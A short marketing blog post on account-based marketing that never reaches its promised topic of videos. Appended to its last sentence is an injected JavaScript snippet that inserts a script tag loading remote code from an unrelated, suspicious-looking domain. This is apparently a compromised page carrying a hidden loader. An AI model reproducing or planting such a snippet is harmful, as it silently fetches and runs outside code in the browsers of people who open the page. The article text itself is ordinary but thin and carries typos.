The Role Of Videos In Account Based Marketing

Account Based Marketing or ABM is a popular term in many marketing organizations. To put it succinctly, the focus of ABM is to create awareness as well as demand within the targeted customer accounts instead of individual leads. The mentality behind this approach is more of a dart gun like. Here, you ascertain which companies are more likely to become your customers and you specifically target them with your marketing efforts.  

It has been believed by the marketers present around the world that ABM is an important part of marketing efforts. The reason being, the focus of lead generation on marketing is on individual leads that doesn’t tell how how exactly decision making process actually works. For instance, if your marketing focuses on attracting a single individual, there is a chance it is the wrong target if he doesn’t have the decision making influence that you need to close  a deal.

ABM also focuses on advocacy. By engaging the most valuable accounts on a personal and deeper level, you convert your customers into advocates. This allows you to drive revenue by generating opportunities to cross sell, up sale, long term customer base and gain referrals. It is an exciting and beneficial opportunity for marketing organizations. So why not take it further and create a better customer base. To now how exactly it is helpful, take a look.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);